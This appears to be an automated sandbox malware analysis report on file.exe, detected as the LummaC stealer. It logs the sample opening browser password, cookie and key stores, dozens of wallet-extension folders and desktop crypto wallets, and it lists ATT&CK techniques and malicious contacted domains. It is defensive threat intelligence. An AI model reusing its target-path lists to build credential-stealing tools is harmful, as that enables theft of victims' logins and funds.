Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 6776, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 6776, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	2 Process Injection	1 Masquerading	1 OS Credential Dumping	761 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	41 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	21 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	2 Bypass User Account Control	361 Virtualization/Sandbox Evasion	Security Account Manager	361 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Process Injection	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	223 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Bypass User Account Control	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	39%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://crt.rootca1.amazontrust.com/rootca1.cer0?	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.all	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
necklacedmny.store	188.114.96.3	true	true	unknown
presticitpo.store	unknown	unknown	true	unknown
